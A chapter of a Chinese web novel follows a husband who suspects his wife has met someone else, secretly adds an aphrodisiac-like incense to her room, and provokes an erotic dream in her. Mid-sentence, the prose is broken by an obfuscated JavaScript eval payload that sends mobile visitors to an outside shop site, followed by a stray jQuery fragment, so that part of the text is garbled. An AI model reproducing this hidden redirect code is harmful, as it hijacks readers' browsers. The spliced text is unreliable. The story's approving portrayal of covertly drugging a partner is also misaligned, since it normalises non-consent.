22. 旖旎

作品:《是谁蛊惑了我的妻主

    马车在尹府停下,尹云起拍拍冯佩的手背:“今日之事,我会保密的。你也放宽心。”


    “我能有什么不宽心的?倒是你,可别让你家夫郎闻出什么味。”她捻起尹云起的衣袖打趣。


    “还不是你害的!”尹云起转身下车,走了两步又回头,“若有什么需要我帮忙的......”


    “知道啦。”冯佩挥挥手,“快回吧。”


    看着尹府婢子前来迎她,冯佩才放下车帘,靠回车厢疲惫地揉了揉眉心。


    “少君回来啦?”迎上来的是西洲,她语气轻松,“今日休沐,可要再出门逛逛?”


    尹云起被她逗笑:“我这不才从门外进来?”笑完,心里那点忐忑又浮上来,她状似随意地低头,拉起自己衣袖闻了闻,“我身上可有什么特别的气味?”


    西洲果真凑近些,小狗似的吸了吸鼻子,随即摇头:“没有呀。”尹云起刚松了口气,她又笑眯眯地补了一句,“少君身上香香的。”


    “......备水,我要沐浴。”


    泡在温温热热的水里,熏得人骨头都酥软三分。尹云起舒服地哼起小曲。她眯着眼,享受难得的松弛,门“吱呀”一声被推开了。


    她下意识往水里缩了缩,只露出脑袋:“是谁?做什么?”


    “妻主,是我。”萧初行的声音隔着屏风传来,脚步却未停。他很自然地绕过屏风,走到浴桶边,俯身拾起漂浮在水面的木瓢,“昨夜不是说好了,旬休这日,我替妻主沐发?”


    尹云起往桶壁贴了贴,拾起帕子盖在身上,水波荡漾:“你怎么不敲门就进来了。”


    “敲了,”萧初行手腕倾斜,温热的水淋过她光滑的肩头,“许是水声扰着,妻主没应声。我担心水凉了,便自作主张进来。妻主不喜欢么?”


    他问得轻,手指伸进她打湿了的头发,不轻不重地按压着头皮。


    按摩按得实在舒服,尹云起喉间吐出舒适的轻哼:“嗯......没有不喜欢。”


    他像是凑的更近了,温热的呼吸都似乎拂过她的耳廓:“妻主今日怎么一回来便要沐浴?可是去了什么尘土大,或是气味杂的地方?”


    尹云起闭着眼,强自镇定:“不过与冯佩在嫖钦将军府喝了盏茶,能沾什么灰?”


    “将军府的茶,自然是极好的。”萧初行只顺着她的话说。


    可尹云起却莫名觉得后颈那一片皮肤有些痒,她含糊地“嗯”了一声,将身子又往下沉了沉,水没到下巴。


    萧初行不再追问,只专心侍弄她的长发。


    清水涤过,又取了香膏,细细在发间抹开。这香膏是他亲手调的,气味并不浓厚。


    方才俯身时,他分明在她发丝捕捉到一些淡淡的香气。那不是女娘们惯用的香。


    阿爹教的道理没错,贤德正夫是该大度容人。可心若偏了,那些心知肚明的道理便再做不到。


    “妻主,”他再次开口,带着柔软的疑惑,“今日在将军府,只见了柳少将么?可还有别的趣事?”


    尹云起那点迷糊立刻飞了一半。柳茂林之事牵扯甚多,怎好随意说?


    她保持着闭眼的姿态,摇头:“柳茂林病了。我们连她都没见着呢,能有什么趣事。”


    “这样啊。”萧初行从善如流,仿佛只是随口一问。他拿起细棉布,为她擦拭起洗净的长发来,“我近日新得了方子,调了款香膏,气息宁神舒络。妻主读书辛苦劳累,可要试试?”


    他说得恳切,全是为人夫郎的体贴周到。尹云起心里熨帖,哪里还会拒绝:“你安排便是。”


    萧初行嘴角这才几不可察地弯了弯。


    他要她里里外外,都染着他的痕迹。衣衫是他挑的料子,熏香是他配的味道。


    他要那不知躲在哪个角落、或许正暗自得意留了气味的人知道,谁才是名正言顺、能光明正大为她打理一切的人。


    至于那缕不该出现的香气......他眼神暗了暗。明日便让心腹隶子出去逛逛,有些碍眼的人和事,不必闹到妻主面前徒惹烦忧,他自己也能弄明白。


    内宅这些手段,他虽不屑常用,却并非不懂。只是以往觉得没必要,如今是有人逼他用了。


    萧初行替她擦干了发,又用细棉布松松束起。


    尹云起满足地叹了口气,抬手拍了拍他仍搭在自己肩头的手背:“好了,头发妥了。你也忙了半晌,去歇歇吧。”


    萧初行动作一顿。看,又是这样。他在她心里,一直是那个需要出去需要距离的正夫,而不是理所当然留下陪伴她的人。


    一而再再而三出现在她身上的别人的味道,自然让他紧张。


    始终隔着一层的亲近,才是真正的钝刀子,日夜磨着他的心。


    他还没真正成为她的人。


    “妻主发根还有些潮气,若是不擦干,明日怕要头疼。”萧初行声音放得越发柔和,甚至带上点恳求的意味,“我再替妻主擦一擦吧?很快的。”


    尹云起看着他低垂下来显得格外温顺的眉眼,有些心软。


    但一想到自己还光溜溜泡在水里,虽说夫郎服侍妻主天经地义,可这般坦诚相对......


    她还是摇了摇头,拉起滑到水中的布巾掩在身前:“不必麻烦了,一会儿我自己来就好。你也去换身干爽衣裳。”


    自己来。你瞧,他的妻主总是这样,不习惯依赖他,也不习惯他的靠近。


    他不能再等了。


    “好,都听妻主的。”他松开手,不再坚持,妥帖地替她整理好屏风,转身离去,将房门仔细掩好。


    门扉合拢,他并未离开,就这么在门外静静站着。


    直到屋内传来尹云起出浴、擦拭、穿衣的窸窸窣窣,他轻轻吸了口气,转身离开。


    “小谷,”他叫住廊下正在擦洗物件的婢子,语气温和,“我记得库里还有些上好的安神檀香?妻主今日出门会友,怕是劳神了。午间歇息或是夜里,若睡不安稳便不好。我去取些料来,重新配个温和宁神的香饼,晚些时候你替她点上,就放在外间。”


    小谷不疑有他,点点头:“婢子知道了。”还笑着赞


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956704|193158||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    自家少主公,“少主公真是体贴入微。”


    萧初行也笑笑,回了自己院子的小库房,却只让人在外头候着。


    他伸手,一一抚过那些标注好的香料盒子,取出一罐深褐色的檀香木粉,倒在小钵里。又加入少许碾碎的龙脑,清凉的气息弥漫开。


    最后,他的指尖在几个巴掌大的青瓷小罐上流连,停在了那个未曾贴签的罐子上。


    里面的是梅魂香,香气极淡,近乎于无,并不扰人。但它有个奇妙的特性,若与另一种名为春梨的主香相遇,两相纠缠,便会催发出一种极缠绵暖融的后调,有助情之效。


    他用银匙小心挑出些许梅魂,混入檀香粉中,调匀,再压制成小巧精致的香饼。


    “便用这个吧。”他将香饼递给候在外面的小谷,叮嘱道,“放在外间香炉即可,莫要离床榻太近,气味淡雅些,才更助安神。”


    小谷双手接过:“婢子知道了。”


    萧初行净了手,回到自己房中。


    他望向木桌上一个不起眼的匣子,那里静静躺着一罐春梨。


    不急。一步一步来。


    他要完完整整属于她。


    *


    尹云起沐浴完便去了自己书房里温书,夜里自然也没往萧初行那儿去。


    香炉里燃着香饼,缠绕着漫进内室,尹云起睡得很沉,却并不安稳。


    热,很热,薄薄的中衣贴在身上,也难受得很。她无意识地挣了挣,脚尖踢到一片凉滑的丝绸。


    那凉意舒坦得很。她舒展身子,试图获取更多清凉。


    凉意似乎也明白她的难处,自己顺着小腿往上爬。


    停在小腹。熟悉的轻唤响起:“妻主......”


    她想抬手,不知是要贴近还是推开,身体却软得不像自己的,连指尖都抬不起来。


    带着凉意的手指流连在她腰侧,很轻地打着圈,凉意过后,被碰过的地方却像是热得要烧起来。


    “出了汗,要着凉的。”凉意似乎爬的更上,他的气息笼罩下来,将她整个人裹住。


    她想说不是这样的,可带着凉意的指腹却大胆地碾过她的下唇,她不由自主地张开嘴,溢出一声短促的喘息。


    这声音仿佛撩动了对方,一个温软潮湿的触感落在了她的唇角,随即又覆上了她的唇,撬开唇齿,深深探入。


    她脑中嗡嗡的,不能继续思考。“初......行......”她断断续续吐出两个字,像是确认,又像是要沉沦。


    “我在。”他含糊不清地应,吻沿着她的下颌往下,落在剧烈跳动的颈脉上,不轻不重地吮了一下。细密的疼和痒直冲天灵盖,她弓起身子,脚背绷直,脚尖蹭过锦被。


    就在那手试探着,要向她衣襟深处游去时——


    尹云起猛地睁开眼。


    天光未亮,帐内昏暗。只有香炉里一点猩红的香炭,明灭着微弱的光。


    她喘息着,胸口起伏不定,中衣黏腻腻地贴在身上。


    是梦。一场旖旎春梦。梦里那人,是萧初行。